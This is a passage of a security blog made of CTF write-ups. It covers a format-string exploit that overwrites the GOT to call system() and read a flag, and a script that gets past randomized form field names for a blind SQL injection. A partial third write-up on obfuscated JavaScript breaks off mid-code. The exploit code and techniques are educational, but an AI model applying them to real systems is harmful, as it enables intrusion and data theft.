<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZeoeMCyAfRPA-WNOP2L_4oPtYqC_Mb2oUH9soXi_f6QshuogcxFkCDRLcjWzNhV3aqPZ1Ccnyg_uPVQ35fgeUX0hYaSde5as3fFXYK87SHM0ILANsZgwHX2gt5jBIMmOY8ib9J60gPvU/s1600/pwn200_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZeoeMCyAfRPA-WNOP2L_4oPtYqC_Mb2oUH9soXi_f6QshuogcxFkCDRLcjWzNhV3aqPZ1Ccnyg_uPVQ35fgeUX0hYaSde5as3fFXYK87SHM0ILANsZgwHX2gt5jBIMmOY8ib9J60gPvU/s1600/pwn200_3.png" height="236" width="320" /></a></div>
<br />
That's a beautiful address we just leaked there, and proof that our vulnerability works.<br />
<br />
<h2>
<span style="font-size: large;">Pwning the service</span></h2>
So how do we go about pwning the task now?<br />
<br />
I made a big mistake here, and didn't spend enough time doing 'recon' before diving into things, and I missed that there is a very helpful function at 0x0D20, which basically calls <span style="font-family: Courier New, Courier, monospace;">system("/bin/sh")</span> for us. All I saw was that <span style="font-family: Courier New, Courier, monospace;">system</span> is among the symbols, so my idea was to replace one of the functions in the got with system's address (heh, <i>very</i> original, I know).<br />
<br />
My idea was to replace <span style="font-family: Courier New, Courier, monospace;">memcmp</span> with <span style="font-family: Courier New, Courier, monospace;">system</span>, so in the next turn, our input is evaluated.<br />
<br />
<h3>
Finding the system function</h3>
So how do we find where the <span style="font-family: Courier New, Courier, monospace;">system</span> function is on the remote host? Well, we already have an info leak, let's use the leaked address. We can measure the offset between the leaked address and system locally and use that in the remote exploit, depending on what address we leaked.<br />
<br />
Fortunately the leaked address will be useful, because it's in the bss segment. It points to the buffer at 0x3BC0. <span style="font-family: Courier New, Courier, monospace;">memcmp</span> in the got is at 0x3A78, while <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">system</span> is at 0x3A84. With this, we get offsets of -0x148 and -0x13C respectively.<br />
<br />
Our goal is to write the value <i>at</i> 0x3A84 (or wherever it is remotely, we already know this from the leak) into 0x3A78. So we need one more step here, to leak the value at 0x3A84. It will also be relative to the leaked address. To do this, we have to start writing the exploit.<br />
<br />
<blockquote class="tr_bq">
<pre style="color: #000020;"><span style="color: #200080; font-weight: bold;">def</span> send_payload<span style="color: #308080;">(</span>payload<span style="color: #308080;">)</span><span style="color: #308080;">:</span>
<span style="color: #200080; font-weight: bold;">global</span> s
payload <span style="color: #308080;">=</span> payload <span style="color: #308080;">+</span> <span style="color: #1060b6;">"A"</span> <span style="color: #308080;">*</span> <span style="color: #308080;">(</span><span style="color: #008c00;">63</span> <span style="color: #308080;">-</span> <span style="color: #e34adc;">len</span><span style="color: #308080;">(</span>payload<span style="color: #308080;">)</span><span style="color: #308080;">)</span>
s<span style="color: #308080;">.</span>recv<span style="color: #308080;">(</span><span style="color: #008c00;">1024</span><span style="color: #308080;">)</span>
s<span style="color: #308080;">.</span>send<span style="color: #308080;">(</span>payload <span style="color: #308080;">+</span> <span style="color: #1060b6;">"\n"</span><span style="color: #308080;">)</span>
s<span style="color: #308080;">.</span>recv<span style="color: #308080;">(</span><span style="color: #008c00;">1024</span><span style="color: #308080;">)</span>
s<span style="color: #308080;">.</span>send<span style="color: #308080;">(</span><span style="color: #1060b6;">"9\n"</span><span style="color: #308080;">)</span>
<span style="color: #200080; font-weight: bold;">for</span> x <span style="color: #200080; font-weight: bold;">in</span> <span style="color: #e34adc;">range</span><span style="color: #308080;">(</span><span style="color: #008c00;">9</span><span style="color: #308080;">)</span><span style="color: #308080;">:</span>
s<span style="color: #308080;">.</span>recv<span style="color: #308080;">(</span><span style="color: #008c00;">1024</span><span style="color: #308080;">)</span>
s<span style="color: #308080;">.</span>send<span style="color: #308080;">(</span><span style="color: #1060b6;">"-1111111111\n"</span><span style="color: #308080;">)</span>
res <span style="color: #308080;">=</span> s<span style="color: #308080;">.</span>recv<span style="color: #308080;">(</span><span style="color: #008c00;">1024</span><span style="color: #308080;">)</span>
<span style="color: #200080; font-weight: bold;">return</span> res<span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"\n"</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span></pre>
</blockquote>
<br />
This function will send our payload and return the leaked value to us. The first address can be leaked like this:<br />
<br />
<blockquote class="tr_bq">
<pre style="color: #000020;"><span style="color: #595979;"># Leak address</span>
payload <span style="color: #308080;">=</span> <span style="color: #1060b6;">"tan %08x "</span>
result <span style="color: #308080;">=</span> send_payload<span style="color: #308080;">(</span>payload<span style="color: #308080;">)</span>
result <span style="color: #308080;">=</span> result<span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"["</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">0</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">" "</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">1</span><span style="color: #308080;">:</span><span style="color: #308080;">-</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span>
leaked_addr <span style="color: #308080;">=</span> <span style="color: #e34adc;">int</span><span style="color: #308080;">(</span>result<span style="color: #308080;">[</span><span style="color: #008c00;">0</span><span style="color: #308080;">], 16</span><span style="color: #308080;">)</span></pre>
</blockquote>
<br />
How can we now leak a value at a specific address?<br />
<br />
<h3>
Leaking system's address</h3>
We can use the %s format to leak values. %s will pick up an address from the stack, and print the string located there. Another trick is to use %X$s, where X specifies the index to use from the stack. Now we have to find (locally, using gdb) where our input is on the stack.<br />
<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(gdb) start<br />(gdb) b *0x56556dcf<br />(gdb) r<br />Choice: tanAAAA<br /><run until breakpoint is triggered><br />(gdb) x/256x $esp</span></blockquote>
<span style="font-family: Courier New, Courier, monospace;">0xffffd100: 0xffffd1a8 0x56558bc0 0x00000134 0x565573d8</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd110: 0xffffd138 0x00000001 0x00000000 0xf7d5893c</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd120: 0xf7e94a20 0x0000000a 0x000000b7 0x56555000</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd130: 0x56555464 0x00003a78 0x00000001 0xf7cef700</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd140: 0xf7e94a20 0xf7cf88f8 0xf7d3385b 0xf7e93ff4</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd150: 0x00000000 0x56558a68 0x56558b00 0x00000000</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd160: 0x00000134 0x00000001 0x00000001 0x00000009</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd170: 0xffffd2dc 0x56558a68 0xffffd338 0x56555cb7</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd180: 0xffffd1a8 0x00000134 0x565573d8 0xffffd2dc</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd190: 0xf7ef3b98 0x00000008 0xffffd2e3 0x00000008</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd1a0: 0x00000000 0x00000003 0x6e61745b 0x41414141</span><br />
<span style="font-family: Courier New, Courier, monospace;">0xffffd1b0: 0x654d205d 0x67617373 0x666f2065 0x65687420</span><br />
<br />
And we can see 0x41414141 at 0xffffd1a0, which means we need to access the stack from the 43rd address. Let's find <span style="font-family: Courier New, Courier, monospace;">system</span>'s value for real.<br />
<br />
<blockquote class="tr_bq">
<pre style="color: #000020;"><span style="color: #595979;"># Kids, don't code like this at home</span>
result <span style="color: #308080;">=</span> send_payload<span style="color: #308080;">(</span><span style="color: #1060b6;">"tan"</span> <span style="color: #308080;">+</span> system_got_addr <span style="color: #308080;">+</span> <span style="color: #1060b6;">" >>>%43$s<<< "</span><span style="color: #308080;">)</span>
system_value <span style="color: #308080;">=</span> result<span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">">>>"</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"<<<"</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">0</span><span style="color: #308080;">]</span><span style="color: #308080;">[</span><span style="color: #008c00;">0</span><span style="color: #308080;">:</span><span style="color: #008c00;">4</span><span style="color: #308080;">]</span><span style="color: #308080;">[</span><span style="color: #308080;">:</span><span style="color: #308080;">:</span><span style="color: #308080;">-</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>encode<span style="color: #308080;">(</span><span style="color: #1060b6;">'hex'</span><span style="color: #308080;">)</span>
<span style="color: #200080; font-weight: bold;">print</span> <span style="color: #1060b6;">"System:"</span><span style="color: #308080;">,</span> system_value
offset <span style="color: #308080;">=</span> leaked_addr <span style="color: #308080;">-</span> <span style="color: #e34adc;">int</span><span style="color: #308080;">(</span>system_value<span style="color: #308080;">,</span> <span style="color: #008c00;">16</span><span style="color: #308080;">)</span>
<span style="color: #200080; font-weight: bold;">print</span> <span style="color: #1060b6;">"Offset:"</span><span style="color: #308080;">,</span> offset</pre>
</blockquote>
<br />
The offset will be 13010, which is 0x32D2 in hex.<br />
<br />
<h3>
The good old arbitrary write</h3>
<div>
Now that we know everything, only one step remains. We have to write (leaked_addr - 0x32D2) at (leaked_addr - 0x148). This is easy to do using %hhn to replace the value byte-by-byte. You can find the final exploit here: <a href="https://gist.github.com/balidani/ab8429bc7b59af7bed8c">https://gist.github.com/balidani/ab8429bc7b59af7bed8c</a></div>
<div>
<br /></div>
<div>
Then, to get code execution we have to initiate a third calculation. This time, our input will be passed to <span style="font-family: Courier New, Courier, monospace;">system</span> instead of <span style="font-family: Courier New, Courier, monospace;">memcmp</span>. And this is what happens:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">$ ls -lsa</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">total 28</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> 4 drwxr-xr-x 2 root root 4096 Apr 26 08:15 .</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> 4 drwxr-xr-x 3 root root 4096 Apr 25 23:21 ..</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> 4 -rw-r--r-- 1 root root 71 Apr 25 23:22 flag.txt</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">16 -rwxr-xr-x 1 root root 12580 Apr 26 08:15 pwn200</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">[ls -lsa] Choose the number of parameters:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">$ cat flag.txt</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">DSCTF_d7b9926c37e5e6b1f796abaf8a3ae7a26050ddb78c4685985321f03d6fd273ba</span></div>
</div>
<br />
I think the tasks were very nice on this CTF, thanks to Dragon Sector! I will certainly be looking forward to more of their CTFs in the future.balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com2tag:blogger.com,1999:blog-7011836621605765499.post-8894204037755484812014-04-13T15:46:00.000-07:002014-04-13T15:46:45.379-07:00PlaidCTF 2014 - PolygonShifter writeupThis wasn't a very hard web challenge, but it was a cool idea and we managed to solve it first ("Quick, while tomcr00se is not looking"), so I'll do a writeup on it.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCxwJal9RnOUChaHiVtSTZW7ESou1kl9Pe_LnFV2pJA-j3srnFk9ZBSimGtkpiqS0679g12MT2y5_bErt9Md0nzJwM44Zf1aXqY9Xf8kjvW_D4R-Gr7dA8qChrxNpGLmGLHVETPm9dp34/s1600/polygon_4.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCxwJal9RnOUChaHiVtSTZW7ESou1kl9Pe_LnFV2pJA-j3srnFk9ZBSimGtkpiqS0679g12MT2y5_bErt9Md0nzJwM44Zf1aXqY9Xf8kjvW_D4R-Gr7dA8qChrxNpGLmGLHVETPm9dp34/s1600/polygon_4.png" height="206" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Task description</td></tr>
</tbody></table>
<br />
The site looks like it's trying to sell some security mechanism they came up with (patent pending, heh). The idea is that form fields get random names, so bots can't access the site. There is a sample application, where we can log in with "test / test" to check how their super secure solution works.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4W7NUgQ4w728idQ4dBUlgV9lxULXvMVzbyczBM8JORi88w2gCOhyrOfZiSrbDWyBktxsx3f1qi2AihQ4ORfHEbqQAGjF4s6jbBgJLOBEdYx2rQb4Q74ANZJPrHRugUqlszy_3zr9yML8/s1600/polygon_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4W7NUgQ4w728idQ4dBUlgV9lxULXvMVzbyczBM8JORi88w2gCOhyrOfZiSrbDWyBktxsx3f1qi2AihQ4ORfHEbqQAGjF4s6jbBgJLOBEdYx2rQb4Q74ANZJPrHRugUqlszy_3zr9yML8/s1600/polygon_1.png" height="217" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghzq61LZ6q6JHwARr1vHVxAxwhxSs61zYJVGpCcti1orWP4vDYJw3eVql3lqiZSqOEDBk9yxTrsuP2WI3kAmKDMhbniwsYC5ULiwfeyO4K2XB9FzPjIDrk6MEkHivo28u5mHcYbVro4bk/s1600/polygon_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghzq61LZ6q6JHwARr1vHVxAxwhxSs61zYJVGpCcti1orWP4vDYJw3eVql3lqiZSqOEDBk9yxTrsuP2WI3kAmKDMhbniwsYC5ULiwfeyO4K2XB9FzPjIDrk6MEkHivo28u5mHcYbVro4bk/s1600/polygon_2.png" height="268" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
There is a HTML comment in the login form.<br />
<br />
<blockquote class="tr_bq">
<span style="color: #236e25; font-family: monospace; white-space: pre-wrap;"><!--<h3>For admin interface, admin / ???????</h3>--></span></blockquote>
<br />
Of course randomizing names of a form won't protect you from SQL injection. This is what we get after logging in as admin:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjzT33N4XVrbSyqiVGXXZ2c_swN2LVO8QBWRUKzMLF-0p38giRRgYcEiod9WH76DgOxW6s9AaXO_fnmiU6uq9JVkc3wuE77eFMKCxMr_eVnefawGXifRFzu522B2LoqBVuPthAheNuOf4/s1600/polygon_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjzT33N4XVrbSyqiVGXXZ2c_swN2LVO8QBWRUKzMLF-0p38giRRgYcEiod9WH76DgOxW6s9AaXO_fnmiU6uq9JVkc3wuE77eFMKCxMr_eVnefawGXifRFzu522B2LoqBVuPthAheNuOf4/s1600/polygon_3.png" height="217" width="320" /></a></div>
<br />
What is left is getting the password with blind SQL injection. Let's see if we can use bots after all. This is the code that bypasses the random names and logs in with a specified username:<br />
<br />
<blockquote class="tr_bq">
<pre style="color: #000020;">url <span style="color: #308080;">=</span> <span style="color: #1060b6;">"http://54.204.80.192"</span>
resp <span style="color: #308080;">=</span> requests<span style="color: #308080;">.</span>get<span style="color: #308080;">(</span>url <span style="color: #308080;">+</span> <span style="color: #1060b6;">"/example"</span><span style="color: #308080;">)</span>
form <span style="color: #308080;">=</span> resp<span style="color: #308080;">.</span>text<span style="color: #308080;">.</span>encode<span style="color: #308080;">(</span><span style="color: #1060b6;">'utf-8'</span><span style="color: #308080;">)</span>
action <span style="color: #308080;">=</span> form<span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"<form action=\""</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"\""</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">0</span><span style="color: #308080;">]</span>
user <span style="color: #308080;">=</span> form<span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"Username"</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"Password"</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">0</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"name=\""</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"\""</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">0</span><span style="color: #308080;">]</span>
passwd <span style="color: #308080;">=</span> form<span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"Password"</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"primary"</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">0</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"name=\""</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span>split<span style="color: #308080;">(</span><span style="color: #1060b6;">"\""</span><span style="color: #308080;">)</span><span style="color: #308080;">[</span><span style="color: #008c00;">0</span><span style="color: #308080;">]</span>
cookie <span style="color: #308080;">=</span> resp<span style="color: #308080;">.</span>headers<span style="color: #308080;">[</span><span style="color: #1060b6;">'set-cookie'</span><span style="color: #308080;">]</span>
resp <span style="color: #308080;">=</span> requests<span style="color: #308080;">.</span>post<span style="color: #308080;">(</span>url <span style="color: #308080;">+</span> action<span style="color: #308080;">,</span> data<span style="color: #308080;">=</span><span style="color: #406080;">{</span>user<span style="color: #308080;">:</span> payload<span style="color: #308080;">,</span> passwd<span style="color: #308080;">:</span> <span style="color: #1060b6;">"test"</span><span style="color: #406080;">}</span><span style="color: #308080;">,</span> headers<span style="color: #308080;">=</span><span style="color: #406080;">{</span><span style="color: #1060b6;">'Cookie'</span><span style="color: #308080;">:</span> cookie<span style="color: #406080;">}</span><span style="color: #308080;">)</span>
res <span style="color: #308080;">=</span> resp<span style="color: #308080;">.</span>text<span style="color: #308080;">.</span>encode<span style="color: #308080;">(</span><span style="color: #1060b6;">'utf-8'</span><span style="color: #308080;">)</span></pre>
</blockquote>
<br />
Now we can plug this into our blind injection script, and it will spit out the table name, column name and eventually the password. Here is the final exploit: <a href="https://gist.github.com/balidani/e541f5ff39f6f3d41156">https://gist.github.com/balidani/e541f5ff39f6f3d41156</a><br />
<br />
And the flag was <span style="font-family: Courier New, Courier, monospace;">n0b0t5_C4n_bYpa5s_p0lYm0rph1Sm</span><br />
Oh, but they can!<div>
<br /></div>
<div>
Awesome CTF from PPP, thanks for organizing it, I need to catch up on some work and sleep now.</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com1tag:blogger.com,1999:blog-7011836621605765499.post-57088371296711623182014-04-13T14:59:00.004-07:002014-04-13T15:27:10.033-07:00PlaidCTF 2014 - halphow2js writeupThis task was for 200 points, and it took us quite a lot of time to figure out. We still managed to get the breakthrough bonus on it, so I guess we were not alone with this.<br />
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvsjzLxzLp0tXMwNNHVuH_85uNv1taFvqwxEMmTes5Gyj4h2WIkIM0OE_m1ns0FLaAlZqmHZ3nwx_ufpYM3p_anhQaRgc3nhxSWAI1sGiiCWCtjrsWd_T6G4Fn3KbcdFzA-Pws2vG__ds/s1600/halp_js_3.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvsjzLxzLp0tXMwNNHVuH_85uNv1taFvqwxEMmTes5Gyj4h2WIkIM0OE_m1ns0FLaAlZqmHZ3nwx_ufpYM3p_anhQaRgc3nhxSWAI1sGiiCWCtjrsWd_T6G4Fn3KbcdFzA-Pws2vG__ds/s1600/halp_js_3.png" height="206" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The task description</td></tr>
</tbody></table>
<div>
<br /></div>
<div>
When we visit the site, we are greeted with some ugly JS and a bunch of prompts. Chrome dies a miserable death once we enter the fifth number, and some processing starts. </div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixpGTOncAqiDshuFyFwUCys10HqCWc-rdhvRsiaoZ_1gjoBali92ox4Uj0lfBM45sWP3tOGgDGI_zZlTDNtE5_jt_Mbp0fmOVqvHcgXg6ypyl6dh2QY720sVm3-VxHZDKtJMOAHrt68c0/s1600/halp_js.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixpGTOncAqiDshuFyFwUCys10HqCWc-rdhvRsiaoZ_1gjoBali92ox4Uj0lfBM45sWP3tOGgDGI_zZlTDNtE5_jt_Mbp0fmOVqvHcgXg6ypyl6dh2QY720sVm3-VxHZDKtJMOAHrt68c0/s1600/halp_js.png" height="217" width="320" /></a></div>
<br />
Let's look at the source. I mirrored it here: <a href="https://gist.github.com/balidani/b29dc38658efca998f5b">https://gist.github.com/balidani/b29dc38658efca998f5b</a><br />
<div>
<blockquote class="tr_bq">
<pre style="color: #000020;"><span style="color: #200080; font-weight: bold;">function</span> client_side<span style="color: #308080;">(</span><span style="color: #308080;">)</span> <span style="color: #406080;">{</span>
<span style="color: #200080; font-weight: bold;">var</span> x<span style="color: #308080;">,</span>y<span style="color: #308080;">,</span>z<span style="color: #308080;">,</span>w<span style="color: #308080;">,</span>ww<span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">while</span><span style="color: #308080;">(</span><span style="color: #008c00;">1</span><span style="color: #308080;">)</span> <span style="color: #406080;">{</span>
x <span style="color: #308080;">=</span> prompt<span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">#1</span><span style="color: maroon;">"</span><span style="color: #308080;">,</span><span style="color: #1060b6;">'1'</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span> <span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span><span style="color: #308080;">!</span>x<span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span><span style="color: #406080;">;</span>
y <span style="color: #308080;">=</span> prompt<span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">#2</span><span style="color: maroon;">"</span><span style="color: #308080;">,</span><span style="color: #1060b6;">'2'</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span> <span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span><span style="color: #308080;">!</span>y<span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span><span style="color: #406080;">;</span>
z <span style="color: #308080;">=</span> prompt<span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">#3</span><span style="color: maroon;">"</span><span style="color: #308080;">,</span><span style="color: #1060b6;">'3'</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span> <span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span><span style="color: #308080;">!</span>z<span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span><span style="color: #406080;">;</span>
w <span style="color: #308080;">=</span> prompt<span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">#YOLO</span><span style="color: maroon;">"</span><span style="color: #308080;">,</span><span style="color: #1060b6;">'420'</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span> <span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span><span style="color: #308080;">!</span>w<span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span><span style="color: #406080;">;</span>
ww <span style="color: #308080;">=</span> prompt<span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">#PPP</span><span style="color: maroon;">"</span><span style="color: #308080;">,</span><span style="color: #1060b6;">'123'</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span> <span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span><span style="color: #308080;">!</span>ww<span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span><span style="color: #406080;">;</span>
<span style="color: #595979;">// The best solutions run FAST!</span>
<span style="color: #595979;">// So, skip the slow self test if you've got a solution</span>
<span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span>filter<span style="color: #308080;">(</span>x<span style="color: #308080;">,</span>y<span style="color: #308080;">,</span>z<span style="color: #308080;">,</span>w<span style="color: #308080;">,</span>ww<span style="color: #308080;">)</span> <span style="color: #308080;">==</span> FLAG<span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">break</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span><span style="color: #308080;">!</span>self_test<span style="color: #308080;">(</span><span style="color: #308080;">)</span><span style="color: #308080;">)</span> <span style="color: #406080;">{</span>
alert<span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">Sanity check failed! ...</span><span style="color: maroon;">"</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">return</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span>
alert<span style="color: #308080;">(</span><span style="color: maroon;">"</span><span style="color: #1060b6;">Pick better numbers, man.</span><span style="color: maroon;">"</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span>
call_server<span style="color: #308080;">(</span>x<span style="color: #308080;">,</span>y<span style="color: #308080;">,</span>z<span style="color: #308080;">,</span>w<span style="color: #308080;">,</span>ww<span style="color: #308080;">,</span> <span style="color: #200080; font-weight: bold;">function</span><span style="color: #308080;">(</span>x<span style="color: #308080;">)</span> <span style="color: #406080;">{</span> alert<span style="color: #308080;">(</span>x<span style="color: #308080;">)</span><span style="color: #406080;">;</span> <span style="color: #406080;">}</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #406080;">}</span></pre>
</blockquote>
<div>
<br /></div>
So if filter returns the flag, we are good. Otherwise, we start running the self_test, which calls the mystop function and takes forever to complete. Our next step (and mistake) was trying to figure out why <span style="font-family: Courier New, Courier, monospace;">mystop</span> is slow and optimize it. I think this is a very common mistake I make - <b>forgetting what category a task is</b> and trying stupid things. Let's say that <span style="font-family: Courier New, Courier, monospace;">mystop</span> is complicated and move on. I wasted an hour here.</div>
<div>
<br />
<div>
Our next idea was to find all the 1000 values, except those that take forever to compute. We did this with a little script using Worker threads. We ended up with ~750 values. Needless to say, this was unnecessary work, but hey, it was 4AM. Let's (finally) look at the filter function that validates the key.</div>
</div>
<div>
<br /></div>
<blockquote class="tr_bq">
<pre style="color: #000020;"><span style="color: #200080; font-weight: bold;">function</span> filter<span style="color: #308080;">(</span><span style="color: #308080;">)</span> <span style="color: #406080;">{</span>
<span style="color: #200080; font-weight: bold;">var</span> args <span style="color: #308080;">=</span> <span style="color: #308080;">[</span><span style="color: #308080;">]</span><span style="color: #308080;">.</span><span style="color: #200080; font-weight: bold;">slice</span><span style="color: #308080;">.</span>apply<span style="color: #308080;">(</span><span style="color: #007d45;">arguments</span><span style="color: #308080;">)</span><span style="color: #308080;">.</span><span style="color: #200080; font-weight: bold;">sort</span><span style="color: #308080;">(</span><span style="color: #308080;">)</span><span style="color: #308080;">.</span>filter<span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">function</span><span style="color: #308080;">(</span>x<span style="color: #308080;">,</span>i<span style="color: #308080;">,</span>a<span style="color: #308080;">)</span><span style="color: #406080;">{</span><span style="color: #200080; font-weight: bold;">return</span> a<span style="color: #308080;">.</span><span style="color: #200080; font-weight: bold;">indexOf</span><span style="color: #308080;">(</span>x<span style="color: #308080;">)</span> <span style="color: #308080;">==</span> i<span style="color: #406080;">;</span><span style="color: 